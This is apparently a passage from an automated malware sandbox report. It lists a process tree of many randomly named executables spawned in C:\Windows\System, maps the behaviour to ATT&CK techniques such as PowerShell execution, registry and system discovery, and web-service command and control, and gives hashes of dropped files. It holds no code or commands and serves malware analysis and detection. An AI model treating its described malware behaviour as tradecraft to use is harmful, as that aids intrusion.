  C:\Windows\System\RyNcZlH.exe
  2⤵
  PID:4304
- C:\Windows\System\DvkmpMo.exe
  C:\Windows\System\DvkmpMo.exe
  2⤵
  PID:5268
- C:\Windows\System\LdMkarH.exe
  C:\Windows\System\LdMkarH.exe
  2⤵
  PID:5400
- C:\Windows\System\mVqtTUQ.exe
  C:\Windows\System\mVqtTUQ.exe
  2⤵
  PID:6972
- C:\Windows\System\qIItgHl.exe
  C:\Windows\System\qIItgHl.exe
  2⤵
  PID:5492
- C:\Windows\System\xwNyMOQ.exe
  C:\Windows\System\xwNyMOQ.exe
  2⤵
  PID:5476
- C:\Windows\System\pKqbyll.exe
  C:\Windows\System\pKqbyll.exe
  2⤵
  PID:2992
- C:\Windows\System\TYtdDId.exe
  C:\Windows\System\TYtdDId.exe
  2⤵
  PID:10336
- C:\Windows\System\lZXusOi.exe
  C:\Windows\System\lZXusOi.exe
  2⤵
  PID:4920
- C:\Windows\System\QpgaMrl.exe
  C:\Windows\System\QpgaMrl.exe
  2⤵
  PID:10684
- C:\Windows\System\uoyAyCM.exe
  C:\Windows\System\uoyAyCM.exe
  2⤵
  PID:2800
- C:\Windows\System\TxYboSO.exe
  C:\Windows\System\TxYboSO.exe
  2⤵
  PID:11124
- C:\Windows\System\TFSEfXG.exe
  C:\Windows\System\TFSEfXG.exe
  2⤵
  PID:1504
- C:\Windows\System\xYyxlVx.exe
  C:\Windows\System\xYyxlVx.exe
  2⤵
  PID:1916
- C:\Windows\System\seZwgQw.exe
  C:\Windows\System\seZwgQw.exe
  2⤵
  PID:5588
- C:\Windows\System\mwJRwVW.exe
  C:\Windows\System\mwJRwVW.exe
  2⤵
  PID:12176
- C:\Windows\System\yaqaaGN.exe
  C:\Windows\System\yaqaaGN.exe
  2⤵
  PID:10540
- C:\Windows\System\ssZAZnn.exe
  C:\Windows\System\ssZAZnn.exe
  2⤵
  PID:5732
- C:\Windows\System\VqWCZhw.exe
  C:\Windows\System\VqWCZhw.exe
  2⤵
  PID:5736
- C:\Windows\System\vTipZdZ.exe
  C:\Windows\System\vTipZdZ.exe
  2⤵
  PID:8488
- C:\Windows\System\CeBXiqe.exe
  C:\Windows\System\CeBXiqe.exe
  2⤵
  PID:5824
- C:\Windows\System\jadrllM.exe
  C:\Windows\System\jadrllM.exe
  2⤵
  PID:11072
- C:\Windows\System\HmXUDKO.exe
  C:\Windows\System\HmXUDKO.exe
  2⤵
  PID:3912
- C:\Windows\System\BaSxThQ.exe
  C:\Windows\System\BaSxThQ.exe
  2⤵
  PID:3364
- C:\Windows\System\GnLGCAI.exe
  C:\Windows\System\GnLGCAI.exe
  2⤵
  PID:7616
- C:\Windows\System\PPHpOUI.exe
  C:\Windows\System\PPHpOUI.exe
  2⤵
  PID:5852
- C:\Windows\System\QhGDXvw.exe
  C:\Windows\System\QhGDXvw.exe
  2⤵
  PID:6008
- C:\Windows\System\MHPNQoV.exe
  C:\Windows\System\MHPNQoV.exe
  2⤵
  PID:7724
- C:\Windows\System\pjXJnTl.exe
  C:\Windows\System\pjXJnTl.exe
  2⤵
  PID:1732
- C:\Windows\System\TXBeHqm.exe
  C:\Windows\System\TXBeHqm.exe
  2⤵
  PID:1044
- C:\Windows\System\lPSvRsj.exe
  C:\Windows\System\lPSvRsj.exe
  2⤵
  PID:8992
- C:\Windows\System\optWbwm.exe
  C:\Windows\System\optWbwm.exe
  2⤵
  PID:2144
- C:\Windows\System\FpiTojR.exe
  C:\Windows\System\FpiTojR.exe
  2⤵
  PID:3424
- C:\Windows\System\qRmleKs.exe
  C:\Windows\System\qRmleKs.exe
  2⤵
  PID:1752
- C:\Windows\System\qjzyQsq.exe
  C:\Windows\System\qjzyQsq.exe
  2⤵
  PID:9108
- C:\Windows\System\IFbExQz.exe
  C:\Windows\System\IFbExQz.exe
  2⤵
  PID:4232
- C:\Windows\System\tNkaftc.exe
  C:\Windows\System\tNkaftc.exe
  2⤵
  PID:12552
- C:\Windows\System\LGznOgG.exe
  C:\Windows\System\LGznOgG.exe
  2⤵
  PID:8056
- C:\Windows\System\rVegWyN.exe
  C:\Windows\System\rVegWyN.exe
  2⤵
  PID:5244
- C:\Windows\System\fdLlJjb.exe
  C:\Windows\System\fdLlJjb.exe
  2⤵
  PID:1704
- C:\Windows\System\KNIttMN.exe
  C:\Windows\System\KNIttMN.exe
  2⤵
  PID:12672
- C:\Windows\System\JWPFtrK.exe
  C:\Windows\System\JWPFtrK.exe
  2⤵
  PID:5612
- C:\Windows\System\gRNcLnL.exe
  C:\Windows\System\gRNcLnL.exe
  2⤵
  PID:12720
- C:\Windows\System\enqCLTX.exe
  C:\Windows\System\enqCLTX.exe
  2⤵
  PID:9024
- C:\Windows\System\asSHbUD.exe
  C:\Windows\System\asSHbUD.exe
  2⤵
  PID:5944
- C:\Windows\System\CUyofeX.exe
  C:\Windows\System\CUyofeX.exe
  2⤵
  PID:7144
- C:\Windows\System\eDATVhK.exe
  C:\Windows\System\eDATVhK.exe
  2⤵
  PID:436
- C:\Windows\System\hmomBCL.exe
  C:\Windows\System\hmomBCL.exe
  2⤵
  PID:7348
- C:\Windows\System\VjmTRxA.exe
  C:\Windows\System\VjmTRxA.exe
  2⤵
  PID:8940
- C:\Windows\System\HAQQNXz.exe
  C:\Windows\System\HAQQNXz.exe
  2⤵
  PID:5828
- C:\Windows\System\tfyScxa.exe
  C:\Windows\System\tfyScxa.exe
  2⤵
  PID:11376
- C:\Windows\System\cKtQPDN.exe
  C:\Windows\System\cKtQPDN.exe
  2⤵
  PID:5472
- C:\Windows\System\WKHtiJt.exe
  C:\Windows\System\WKHtiJt.exe
  2⤵
  PID:5924
- C:\Windows\System\dkqFnYh.exe
  C:\Windows\System\dkqFnYh.exe
  2⤵
  PID:5916
- C:\Windows\System\phNUfOR.exe
  C:\Windows\System\phNUfOR.exe
  2⤵
  PID:1784
- C:\Windows\System\sFGjwFt.exe
  C:\Windows\System\sFGjwFt.exe
  2⤵
  PID:5516
- C:\Windows\System\bSrRuxg.exe
  C:\Windows\System\bSrRuxg.exe
  2⤵
  PID:6644
- C:\Windows\System\tHimAeC.exe
  C:\Windows\System\tHimAeC.exe
  2⤵
  PID:9348
- C:\Windows\System\eHwpDbh.exe
  C:\Windows\System\eHwpDbh.exe
  2⤵
  PID:6364
- C:\Windows\System\boJwkXY.exe
  C:\Windows\System\boJwkXY.exe
  2⤵
  PID:11476
- C:\Windows\System\eQuYnlX.exe
  C:\Windows\System\eQuYnlX.exe
  2⤵
  PID:1224
- C:\Windows\System\JOxsBtC.exe
  C:\Windows\System\JOxsBtC.exe
  2⤵
  PID:5616
- C:\Windows\System\kmTUUpJ.exe
  C:\Windows\System\kmTUUpJ.exe
  2⤵
  PID:6692
- C:\Windows\System\tfMeAIi.exe
  C:\Windows\System\tfMeAIi.exe
  2⤵
  PID:6708
- C:\Windows\System\XgsKWmp.exe
  C:\Windows\System\XgsKWmp.exe
  2⤵
  PID:10704
- C:\Windows\System\hwLwXNM.exe
  C:\Windows\System\hwLwXNM.exe
  2⤵
  PID:5676
- C:\Windows\System\JMFvmMd.exe
  C:\Windows\System\JMFvmMd.exe
  2⤵
  PID:6816
- C:\Windows\System\TzHPBbu.exe
  C:\Windows\System\TzHPBbu.exe
  2⤵
  PID:5880
- C:\Windows\System\JKcMDxG.exe
  C:\Windows\System\JKcMDxG.exe
  2⤵
  PID:1312
- C:\Windows\System\KVZoNPa.exe
  C:\Windows\System\KVZoNPa.exe
  2⤵
  PID:7016
- C:\Windows\System\fBeQMtF.exe
  C:\Windows\System\fBeQMtF.exe
  2⤵
  PID:7020
- C:\Windows\System\ZGaQUby.exe
  C:\Windows\System\ZGaQUby.exe
  2⤵
  PID:11160
- C:\Windows\System\NmFuLat.exe
  C:\Windows\System\NmFuLat.exe
  2⤵
  PID:6060
- C:\Windows\System\ruLFagy.exe
  C:\Windows\System\ruLFagy.exe
  2⤵
  PID:2884
- C:\Windows\System\aIAIAAT.exe
  C:\Windows\System\aIAIAAT.exe
  2⤵
  PID:5488
- C:\Windows\System\cWTnOLU.exe
  C:\Windows\System\cWTnOLU.exe
  2⤵
  PID:6332
- C:\Windows\System\cpoeYeb.exe
  C:\Windows\System\cpoeYeb.exe
  2⤵
  PID:12460
- C:\Windows\System\OmvHizW.exe
  C:\Windows\System\OmvHizW.exe
  2⤵
  PID:6380
- C:\Windows\System\mFMWuhO.exe
  C:\Windows\System\mFMWuhO.exe
  2⤵
  PID:2012
- C:\Windows\System\grKboRM.exe
  C:\Windows\System\grKboRM.exe
  2⤵
  PID:6504
- C:\Windows\System\IFKTVLQ.exe
  C:\Windows\System\IFKTVLQ.exe
  2⤵
  PID:6672
- C:\Windows\System\DEAnTpv.exe
  C:\Windows\System\DEAnTpv.exe
  2⤵
  PID:11888
- C:\Windows\System\UGoNOWG.exe
  C:\Windows\System\UGoNOWG.exe
  2⤵
  PID:12636
- C:\Windows\System\EVqhfef.exe
  C:\Windows\System\EVqhfef.exe
  2⤵
  PID:6848
- C:\Windows\System\NmPGlse.exe
  C:\Windows\System\NmPGlse.exe
  2⤵
  PID:4892
- C:\Windows\System\OdBlBMg.exe
  C:\Windows\System\OdBlBMg.exe
  2⤵
  PID:5848
- C:\Windows\System\nqIkcqP.exe
  C:\Windows\System\nqIkcqP.exe
  2⤵
  PID:6624
- C:\Windows\System\bioddBJ.exe
  C:\Windows\System\bioddBJ.exe
  2⤵
  PID:5256
- C:\Windows\System\yIBARvr.exe
  C:\Windows\System\yIBARvr.exe
  2⤵
  PID:12172
- C:\Windows\System\DIriBLv.exe
  C:\Windows\System\DIriBLv.exe
  2⤵
  PID:2164
- C:\Windows\System\Wccgftd.exe
  C:\Windows\System\Wccgftd.exe
  2⤵
  PID:3924
- C:\Windows\System\EfkLuIt.exe
  C:\Windows\System\EfkLuIt.exe
  2⤵
  PID:6760
- C:\Windows\System\dQCSctr.exe
  C:\Windows\System\dQCSctr.exe
  2⤵
  PID:5692
- C:\Windows\System\LcQNPOi.exe
  C:\Windows\System\LcQNPOi.exe
  2⤵
  PID:5832
- C:\Windows\System\KFEWPcP.exe
  C:\Windows\System\KFEWPcP.exe
  2⤵
  PID:7264
- C:\Windows\System\ZuMRrIP.exe
  C:\Windows\System\ZuMRrIP.exe
  2⤵
  PID:6124
- C:\Windows\System\zQQxiSW.exe
  C:\Windows\System\zQQxiSW.exe
  2⤵
  PID:10896
- C:\Windows\System\UdnTLwS.exe
  C:\Windows\System\UdnTLwS.exe
  2⤵
  PID:10944
- C:\Windows\System\fOfnAnr.exe
  C:\Windows\System\fOfnAnr.exe
  2⤵
  PID:5940
- C:\Windows\System\eCEZCWi.exe
  C:\Windows\System\eCEZCWi.exe
  2⤵
  PID:8512
- C:\Windows\System\dpMsQFN.exe
  C:\Windows\System\dpMsQFN.exe
  2⤵
  PID:6160
- C:\Windows\System\aeDgNKV.exe
  C:\Windows\System\aeDgNKV.exe
  2⤵
  PID:2504
- C:\Windows\System\fUXpQbq.exe
  C:\Windows\System\fUXpQbq.exe
  2⤵
  PID:6292
- C:\Windows\System\UqWtpau.exe
  C:\Windows\System\UqWtpau.exe
  2⤵
  PID:7344
- C:\Windows\System\skjzLfG.exe
  C:\Windows\System\skjzLfG.exe
  2⤵
  PID:6572
- C:\Windows\System\dVSKoeP.exe
  C:\Windows\System\dVSKoeP.exe
  2⤵
  PID:6776
- C:\Windows\System\BMCvbJU.exe
  C:\Windows\System\BMCvbJU.exe
  2⤵
  PID:7552
- C:\Windows\System\HlHvGSs.exe
  C:\Windows\System\HlHvGSs.exe
  2⤵
  PID:7472
- C:\Windows\System\OTtGVEW.exe
  C:\Windows\System\OTtGVEW.exe
  2⤵
  PID:9528
- C:\Windows\System\LmNbstz.exe
  C:\Windows\System\LmNbstz.exe
  2⤵
  PID:6820
- C:\Windows\System\ksSEiXk.exe
  C:\Windows\System\ksSEiXk.exe
  2⤵
  PID:9700
- C:\Windows\System\rrIavhZ.exe
  C:\Windows\System\rrIavhZ.exe
  2⤵
  PID:10996
- C:\Windows\System\LbUtsfO.exe
  C:\Windows\System\LbUtsfO.exe
  2⤵
  PID:6892
- C:\Windows\System\IzlXnGd.exe
  C:\Windows\System\IzlXnGd.exe
  2⤵
  PID:6916
- C:\Windows\System\QTeeaoE.exe
  C:\Windows\System\QTeeaoE.exe
  2⤵
  PID:1940
- C:\Windows\System\CLNjkwT.exe
  C:\Windows\System\CLNjkwT.exe
  2⤵
  PID:7136
- C:\Windows\System\ebpSTuZ.exe
  C:\Windows\System\ebpSTuZ.exe
  2⤵
  PID:6188
- C:\Windows\System\iCjaxul.exe
  C:\Windows\System\iCjaxul.exe
  2⤵
  PID:4988
- C:\Windows\System\YJvEsaZ.exe
  C:\Windows\System\YJvEsaZ.exe
  2⤵
  PID:8952
- C:\Windows\System\yFgLlqs.exe
  C:\Windows\System\yFgLlqs.exe
  2⤵
  PID:12528
- C:\Windows\System\UuVSUeg.exe
  C:\Windows\System\UuVSUeg.exe
  2⤵
  PID:6132
- C:\Windows\System\uhJRBnt.exe
  C:\Windows\System\uhJRBnt.exe
  2⤵
  PID:6652
- C:\Windows\System\FIrMeRc.exe
  C:\Windows\System\FIrMeRc.exe
  2⤵
  PID:6668
- C:\Windows\System\DRIyOYE.exe
  C:\Windows\System\DRIyOYE.exe
  2⤵
  PID:7716
- C:\Windows\System\wUPyjUV.exe
  C:\Windows\System\wUPyjUV.exe
  2⤵
  PID:7808
- C:\Windows\System\YbzoiON.exe
  C:\Windows\System\YbzoiON.exe
  2⤵
  PID:6080
- C:\Windows\System\NdIxMYu.exe
  C:\Windows\System\NdIxMYu.exe
  2⤵
  PID:1264
- C:\Windows\System\fFqyBPj.exe
  C:\Windows\System\fFqyBPj.exe
  2⤵
  PID:6084
- C:\Windows\System\EDgSkyR.exe
  C:\Windows\System\EDgSkyR.exe
  2⤵
  PID:6096
- C:\Windows\System\tQpuPLs.exe
  C:\Windows\System\tQpuPLs.exe
  2⤵
  PID:6880
- C:\Windows\System\CwrRLhp.exe
  C:\Windows\System\CwrRLhp.exe
  2⤵
  PID:5168
- C:\Windows\System\PyZqUVy.exe
  C:\Windows\System\PyZqUVy.exe
  2⤵
  PID:7244
- C:\Windows\System\SmLwqfw.exe
  C:\Windows\System\SmLwqfw.exe
  2⤵
  PID:5496
- C:\Windows\System\ubNwnwq.exe
  C:\Windows\System\ubNwnwq.exe
  2⤵
  PID:6316
- C:\Windows\System\unMtivZ.exe
  C:\Windows\System\unMtivZ.exe
  2⤵
  PID:6196
- C:\Windows\System\BLLkwQL.exe
  C:\Windows\System\BLLkwQL.exe
  2⤵
  PID:8848
- C:\Windows\System\gcxksMf.exe
  C:\Windows\System\gcxksMf.exe
  2⤵
  PID:12068
- C:\Windows\System\vLVgzNw.exe
  C:\Windows\System\vLVgzNw.exe
  2⤵
  PID:11128
- C:\Windows\System\tRxWUFx.exe
  C:\Windows\System\tRxWUFx.exe
  2⤵
  PID:6164
- C:\Windows\System\pwLieEk.exe
  C:\Windows\System\pwLieEk.exe
  2⤵
  PID:9068
- C:\Windows\System\TgsNxWQ.exe
  C:\Windows\System\TgsNxWQ.exe
  2⤵
  PID:11880
- C:\Windows\System\OlYTRgC.exe
  C:\Windows\System\OlYTRgC.exe
  2⤵
  PID:6984
- C:\Windows\System\VwOlAyQ.exe
  C:\Windows\System\VwOlAyQ.exe
  2⤵
  PID:9188
- C:\Windows\System\TpRpviD.exe
  C:\Windows\System\TpRpviD.exe
  2⤵
  PID:7436
- C:\Windows\System\bCKCATR.exe
  C:\Windows\System\bCKCATR.exe
  2⤵
  PID:5580
- C:\Windows\System\XWaidhv.exe
  C:\Windows\System\XWaidhv.exe
  2⤵
  PID:7792
- C:\Windows\System\CHeioKr.exe
  C:\Windows\System\CHeioKr.exe
  2⤵
  PID:7812
- C:\Windows\System\YwvXjfP.exe
  C:\Windows\System\YwvXjfP.exe
  2⤵
  PID:8900
- C:\Windows\System\FxJyQjb.exe
  C:\Windows\System\FxJyQjb.exe
  2⤵
  PID:8932
- C:\Windows\System\lqfdmFK.exe
  C:\Windows\System\lqfdmFK.exe
  2⤵
  PID:6004
- C:\Windows\System\stgQhHu.exe
  C:\Windows\System\stgQhHu.exe
  2⤵
  PID:8968
- C:\Windows\System\casWqLy.exe
  C:\Windows\System\casWqLy.exe
  2⤵
  PID:9208
- C:\Windows\System\tHfxSMR.exe
  C:\Windows\System\tHfxSMR.exe
  2⤵
  PID:6064
- C:\Windows\System\sMhbofy.exe
  C:\Windows\System\sMhbofy.exe
  2⤵
  PID:3216
- C:\Windows\System\PzHyVPF.exe
  C:\Windows\System\PzHyVPF.exe
  2⤵
  PID:3480
- C:\Windows\System\kVOyhSh.exe
  C:\Windows\System\kVOyhSh.exe
  2⤵
  PID:6560
- C:\Windows\System\CQogsYD.exe
  C:\Windows\System\CQogsYD.exe
  2⤵
  PID:6800
- C:\Windows\System\eXoGtVw.exe
  C:\Windows\System\eXoGtVw.exe
  2⤵
  PID:7260
- C:\Windows\System\xxoIZRI.exe
  C:\Windows\System\xxoIZRI.exe
  2⤵
  PID:8368
- C:\Windows\System\QiiPPKh.exe
  C:\Windows\System\QiiPPKh.exe
  2⤵
  PID:5212
- C:\Windows\System\ccGCxYi.exe
  C:\Windows\System\ccGCxYi.exe
  2⤵
  PID:8412
- C:\Windows\System\rRXREKl.exe
  C:\Windows\System\rRXREKl.exe
  2⤵
  PID:7924
- C:\Windows\System\YqjpClK.exe
  C:\Windows\System\YqjpClK.exe
  2⤵
  PID:5300
- C:\Windows\System\VfOnQcM.exe
  C:\Windows\System\VfOnQcM.exe
  2⤵
  PID:7324
- C:\Windows\System\LPmNVDf.exe
  C:\Windows\System\LPmNVDf.exe
  2⤵
  PID:8480
- C:\Windows\System\QSjHzKL.exe
  C:\Windows\System\QSjHzKL.exe
  2⤵
  PID:964
- C:\Windows\System\pySeqNB.exe
  C:\Windows\System\pySeqNB.exe
  2⤵
  PID:6000
- C:\Windows\System\nfIIhPC.exe
  C:\Windows\System\nfIIhPC.exe
  2⤵
  PID:9380
- C:\Windows\System\ZtOkCVx.exe
  C:\Windows\System\ZtOkCVx.exe
  2⤵
  PID:8080
- C:\Windows\System\GDvTraG.exe
  C:\Windows\System\GDvTraG.exe
  2⤵
  PID:7056
- C:\Windows\System\jQNMSKD.exe
  C:\Windows\System\jQNMSKD.exe
  2⤵
  PID:6824
- C:\Windows\System\boxWPQs.exe
  C:\Windows\System\boxWPQs.exe
  2⤵
  PID:7400
- C:\Windows\System\ouGxiwF.exe
  C:\Windows\System\ouGxiwF.exe
  2⤵
  PID:5988
- C:\Windows\System\TidwQkb.exe
  C:\Windows\System\TidwQkb.exe
  2⤵
  PID:11440
- C:\Windows\System\MIjUqba.exe
  C:\Windows\System\MIjUqba.exe
  2⤵
  PID:5480
- C:\Windows\System\XeeqtBQ.exe
  C:\Windows\System\XeeqtBQ.exe
  2⤵
  PID:7252
- C:\Windows\System\iYGJhBf.exe
  C:\Windows\System\iYGJhBf.exe
  2⤵
  PID:9776
- C:\Windows\System\AiUepCT.exe
  C:\Windows\System\AiUepCT.exe
  2⤵
  PID:8812
- C:\Windows\System\OhrsBZX.exe
  C:\Windows\System\OhrsBZX.exe
  2⤵
  PID:6272
- C:\Windows\System\dAmtGgh.exe
  C:\Windows\System\dAmtGgh.exe
  2⤵
  PID:10064
- C:\Windows\System\LrusEfm.exe
  C:\Windows\System\LrusEfm.exe
  2⤵
  PID:9048
- C:\Windows\System\HBhOpvF.exe
  C:\Windows\System\HBhOpvF.exe
  2⤵
  PID:5064
- C:\Windows\System\sDUIxIZ.exe
  C:\Windows\System\sDUIxIZ.exe
  2⤵
  PID:9076
- C:\Windows\System\VouQmYw.exe
  C:\Windows\System\VouQmYw.exe
  2⤵
  PID:1484
- C:\Windows\System\lLkVYfL.exe
  C:\Windows\System\lLkVYfL.exe
  2⤵
  PID:10180
- C:\Windows\System\ozPtuld.exe
  C:\Windows\System\ozPtuld.exe
  2⤵
  PID:9300
- C:\Windows\System\IaamzXB.exe
  C:\Windows\System\IaamzXB.exe
  2⤵
  PID:8612
- C:\Windows\System\SzUrqUj.exe
  C:\Windows\System\SzUrqUj.exe
  2⤵
  PID:9596
- C:\Windows\System\MkaQfci.exe
  C:\Windows\System\MkaQfci.exe
  2⤵
  PID:9576
- C:\Windows\System\MyNXIGn.exe
  C:\Windows\System\MyNXIGn.exe
  2⤵
  PID:7868
- C:\Windows\System\sXAtYcH.exe
  C:\Windows\System\sXAtYcH.exe
  2⤵
  PID:9940
- C:\Windows\System\TfMfHHp.exe
  C:\Windows\System\TfMfHHp.exe
  2⤵
  PID:5076

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_prr3sba0.1ld.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\CBbPAvD.exe

Filesize
1.6MB

MD5
90b3ad05f79c104e82436acb84b43a1e

SHA1
2160e49f472b1bb7156701950970bfda8337eb14

SHA256
b5af35bd85e60b5df2eae4a89b0a942013d46b238cf25b085058c2af3a2df84a

SHA512
fc49a515102dc3456767bf43c0a905bfcbfc33be77ebea475b40fd05e5226c1cd8db2ba90835d3efa8700af9c64170e2a6726a9cfe3ccdce9afd18be13e90e96

Download Submit
C:\Windows\System\DYMMksL.exe

Filesize
1.6MB

MD5
42ec749d2b144bba4e2df01f2ba89ecd

SHA1
04bd5c60e72e8463aa084e2bcc984dcc1576706a

SHA256
e85a57c00b598a06a10fd81ae697b40696eb0b323be3f4fa0948becfb9a340e1

SHA512
1e5eb337951a6b4e781879fd44f55f52b77241f755e17590e390cc8810d90a07379a48df2a6dcc6abad72114b5d17a7060a65d8384bec569ece2cd3c465d5bad

Download Submit
C:\Windows\System\ECDEIrm.exe

Filesize
1.6MB

MD5
278d4fd69f1ceb867b943c2f558cbc09

SHA1
0be78bcbb8150ac5e3f9a63716013ce9bb6437a6

SHA256
bd871a0259d0c9b8a0306df55596e33402106c343e3dae9176e60f75d2bd0c4a

SHA512
99b955d300fbd04c3ae31e37bb90279fe72a12a041194632c38d7b7b125a6aadbbbbf280d26846224b06596f00f08410a303bc2468d625ea656d5f6f40eef9fb

Download Submit
C:\Windows\System\HgVsnIt.exe

Filesize
1.6MB

MD5
99b36cf1c4dd896bd1bcfe24592c093f

SHA1
542a9ce9426a016f0669df35fb52b5f3839d84f6

SHA256
18b24243e1207f397f86d79cf8fc744efce69edc6489ce19d8fef0cf29168680

SHA512
cb510bbae49c1d352f55d58ad14ef5a65c6ec2b490d7f26cc39cbb00a79e9e103d18d0ac5ced7a3afda2a2c7d48ffc58b5d9f44e2d096838c477d4abcebf2cae

Download Submit
C:\Windows\System\JOIdkPD.exe

Filesize
1.6MB

MD5
1de0c2294c80218ae7a31cf33761406a

SHA1
031d6747d8c9701c807b6942690b9dea73d03799

SHA256
a0dc235a12757f34d82ffb44c9b7cf7ff66f6d241e94c548f413b4acdf19d00a

SHA512
da0d4f05c667a3ab063739865b6422b2d4bc8b18416ee4da6cbaaa53250fc7b7589b082c21623edee2337712f6140915ae8e7873a639948b85d5cdd8fce670a5

Download Submit
C:\Windows\System\JqMFOdn.exe

Filesize
1.6MB

MD5
c4da4989aa75ddc209c6239a6e95bb76

SHA1
63e507643bfdcd4d961014a172aae038e3ab0729

SHA256
afcc5fd58c7897500f8753764c36bbfb53fecb7f93faceece248e1c55a3b96a1

SHA512
2d6e158411ec34e1a429531973cb89831e0b190198aced2b3680db3c21c10c74fb5abd35920811767a2f449a7ef664d9eabd6bc6224a687cb8d44c6e01d87cb6

Download Submit
C:\Windows\System\OGAxGzt.exe

Filesize
1.6MB

MD5
18fc314b62b8663504ac1aebd2f48a43

SHA1
001318c8b07ca72bef6253f0cb7bda755777c422

SHA256
bcbf7fece02c77750c2dd222eebdbc10088a9a27aa9655266c67faa467785626

SHA512
90cad716608e6c4e69e538b6ef1120c9c263615b14b0167390eb29e058d109f25ae6b83702ce906c1af27cd049f4060bed69bb74a726a811fe0ad75ee418ecb6

Download Submit
C:\Windows\System\PLZAyEM.exe

Filesize
1.6MB

MD5
b25b037944c70e127224c65009526223

SHA1
e5488350f56da8e4820dcd873c15d069c9647b7b

SHA256
f542d3f9dd2860c0e66c171ebd7473f833edcdc9f731ba4b019583ccd9789fbb

SHA512
1a0397e6c783637085caf6adf8a320a60eaa0364efebd2d798caa02e8bcce4c08ef27828f1cecea131ef386276554aedda6e725a1584a42163f0165ecf73ff4d

Download Submit
C:\Windows\System\QKidVgg.exe

Filesize
1.6MB

MD5
7b30aea5e74a77a1fbf0911accd475ca

SHA1
c4fbb9d6ab593368e8c4e1d5c68da4760143539c

SHA256
620e224f9e2f702dab803754ed028cf8200c82f2202959a0417114fb448a9489

SHA512
f7f461db89e6112383c35c7711f206c6e46f1c045e81dce42988ac424c032050717ea1467fd2044e16f4d052456ff642ea61e30ec45a1979aab6735df2cd40d9

Download Submit
C:\Windows\System\RaCBqyj.exe

Filesize
1.6MB

MD5
31c58c8747b5e759cd0aa11a017917cf

SHA1
50d7bcf2b859621132ce27bcc9650e6a883d7913

SHA256
1a6deb53699bc7367e8e3fc4107fb32728177c74559704560cee9a78be95c444

SHA512
8396454c26706544adb18f59bfe3e3b52b3d84d05e9fc0969a73095eb5c4187c3e11e466e9494402324b3b8c19aa15f4144b8a6cd89be77e5b23329e5f1bef0d

Download Submit
C:\Windows\System\SLFmmoZ.exe

Filesize
1.6MB

MD5
db50e162a5875a697c80237840debf80

SHA1
ad47af9e601687557fbb7b51fe5d67152e2b9b2f

SHA256
37fb3b94ff5abdba3d75c029054994ab6015321df237af3fddcfe3fbe6c61e11

SHA512
34750056d903ff267f7a85e801547e4ea6ba274b0cde7ab2d60315240b6172979549ca6f3e5697a2e26bfa252a3fbd7dd4621e7a3e56c99e421b3b62ceee0060

Download Submit
C:\Windows\System\SdnHEzS.exe

Filesize
1.6MB

MD5
762d224c47dd3e0b093a1efbca5966bf

SHA1
05c7b5cb1b3796a5731394d602b00bb5c842c2cc

SHA256
cee9329c5a10050e48f0019877a684d028c775d3d6d91e2daf15b128b7bd29a2

SHA512
a78f3f6cf848fff56c57390fdea0c3f10702dac5cb18b83664a7c5d14629ae0505c2dcf7e1b7a98cb590d3aa4f3ea80c146894a2f7c64e40c3080e8f2ba1cdaf

Download Submit
C:\Windows\System\UNkAPlB.exe

Filesize
1.6MB

MD5
bda5c5d4bd394196a5377338c6fc64d7

SHA1
33ebf03c09483868355ab84644e0c28447656a83

SHA256
2ec17a04c6c0ad7493733cdcaeb16ad477c9e5c385aa4ac574c4a8fb1b3a1478

SHA512
f34f58d6460cab971bc2d5c162a37014439af259557f752e2a3a5dee4df489aa78ff003ead5435e651e46fe2c30f2f194a9dde245f7560f04063c4857f988e53

Download Submit
C:\Windows\System\UsLkSwA.exe

Filesize
1.6MB

MD5
990127f70bfd48434cdffd1243d51a5d

SHA1
d65af26058de2603c6e26917eb9f82979d11ba36

SHA256
52fb4a587278a5797978b3ecdbc773673f1b1b1c2c3cd5eccd5373092e467a20

SHA512
e908f46d961ea2f643403facc1e190dd1f4d43b6a72c14d84c0503df08333fa33eed37200f6a6a1a6871f8005f0f86faf5245302523aca5ec583e4d10b4b28a3

Download Submit
C:\Windows\System\XDAzttq.exe

Filesize
1.6MB

MD5
4f52125555fcefc3936212869d1df2b8

SHA1
6e9c24fd84ed1e57ee6a4c6ca5e4b78dd081a4c1

SHA256
e98b76f5a990661ad54e0fc2c48baee6248692c47bc1f9bbdfa68c49bc5d6483

SHA512
8f9b244b471c5031b2d19bc0e08ac031865f32732ea92d9d0b120811823aee2afd7314ad37931f0c0473a9e83438b7fc0fd36387feaa96d9d3a62b5b42b60c31

Download Submit
C:\Windows\System\ZnfTSFp.exe

Filesize
1.6MB

MD5
ecc0c5f9da76c6505b0a26b27a759bc0

SHA1
a9a8db4224e0b7f41344ad9fc3794d4d5b48456b

SHA256
9d579ccc0ba29d1feeda3b997cfe775ecb6c57d6dab11d33efc8bcc2fc5aca9d

SHA512
2e5e1c9481d78ad75caad608c99914092b6a5c0e313c9347dd7ce8a662585f457f7ee03032b53fa7db233cec7333a496562eec2f05adb48a265cc8a365da4bf9

Download Submit
C:\Windows\System\ajfLtGB.exe

Filesize
1.6MB

MD5
13811b3c84dba14db041180dedacfb46

SHA1
5409fb63b7c97027dd83e8c7166f58c36be1956d

SHA256
e6b456d75567ef68dd608ecb1e4787339c5cf68b3f3c10bbc637096c2d18731c

SHA512
ce59742d559d418bfe3fbf734d446bbd40d5606ffe1938ed1fe46176f691c3f0ce0ef6171796994e4e0b398ff4d18cb8db8aee786310448190a773c092396510

Download Submit
C:\Windows\System\cfYezui.exe

Filesize
1.6MB

MD5
fbb90943eb79810dafcfa70b09b0969b

SHA1
34ac20cfacda48ed1b26bd312e4ac7fe5f28f3b7

SHA256
4563c76931f9022f2c8f2c8b8ef79a86baaa9a5f82bfa480278b4a0d0b8c1f8f

SHA512
